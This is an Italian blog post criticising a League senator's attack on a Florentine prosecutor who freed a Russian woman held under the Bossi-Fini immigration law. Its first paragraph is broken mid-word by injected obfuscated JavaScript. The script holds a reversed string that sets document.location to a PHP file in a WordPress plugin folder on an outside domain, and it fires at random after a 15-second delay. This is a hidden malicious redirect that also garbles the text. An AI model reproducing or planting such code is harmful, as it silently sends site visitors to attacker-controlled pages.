Storia del magistrato che liberò la clandestina…

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Strano ma vero. La arrestano, perché così dice la legge, ma il pm la libera. Venerdì scorso, una ragazza russa, di 25 anni, è stata arrestata dalla polizia per la violazione della legge Bossi-Fini. In quanto cl (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andestina, infatti, aveva ricevuto l’ordine di lasciare l’Italia. Ed ecco l’elemento imprevisto.. Il pm fiorentino Emma Casentino l’ha fatta rilasciare, perché, secondo lei, la legge è in contrasto con gli articoli 2, 3 e 27 della Costituzione italiana. Inoltre, il sostituto procuratore ha rilevato che spetta al giudice, e non alla polizia giudiziaria, stabilire se una persona è rimasta in Italia senza giustificato motivo. La Casentino, infine, ha fatto notare che, nel provvedimento di espulsione emesso a carico della ragazza, non è indicato che nel caso di inottemperanza sarebbe stata arrestata. Ma quante sviste…
La storia non poteva certo finire qui. Anzi, si è scatenata una tempesta. “E’ iniziata la rivolta dei giudici contro il popolo sovrano che vuole rigore contro la clandestinità”. Questa la prima reazione del senatore leghista Piergiorgio Stiffoni, che ha poi definito “aberrante” la presa di posizione del pm Casentino. I giudici, secondo il senatore, non applicano la legge, ma preferiscono i teatrini politici e mediatici, perché “siamo l’unica nazione al mondo con associazioni di magistrati, con il permesso di fare politica”. Sembra che questi signori togati abbiano intenzioni pericolose: “mortificare le forze dell’ordine e il desiderio di giustizia di vedere ripulite le nostre città”. Sorvolando sulla concezione “clandestini = immondizia” (visto che bisognerebbe “ripulire”..), sarebbe interessante sapere se il medesimo discorso è stato fatto anche per gli arresti di Cosenza. Comunque, l’esasperazione di “certe situazioni già al limite della sopportazione”, di cui accusa un gruppo non meglio definito di pubblici ministeri, non c’è dubbio che sia anche un fatto di sua conoscenza. Come spiegare altrimenti una frase del tipo”mi aspetto da un momento all’altro la scarcerazione, dopo che saranno catturati, dei killer extracomunitari e clandestini dell’operaio di Fiesso D’Artico, ucciso per 200 euro”?
La situazione è davvero preoccupante, no? Probabilmente sì, se il senatore Stiffoni parla di chiari sintomi “di una azione prevaricatrice del potere giudiziario sul potere legislativo”. Strano, altri, in questi giorni, parlano della magistrature come di pericolo per la libertà di opinione… che confusione…

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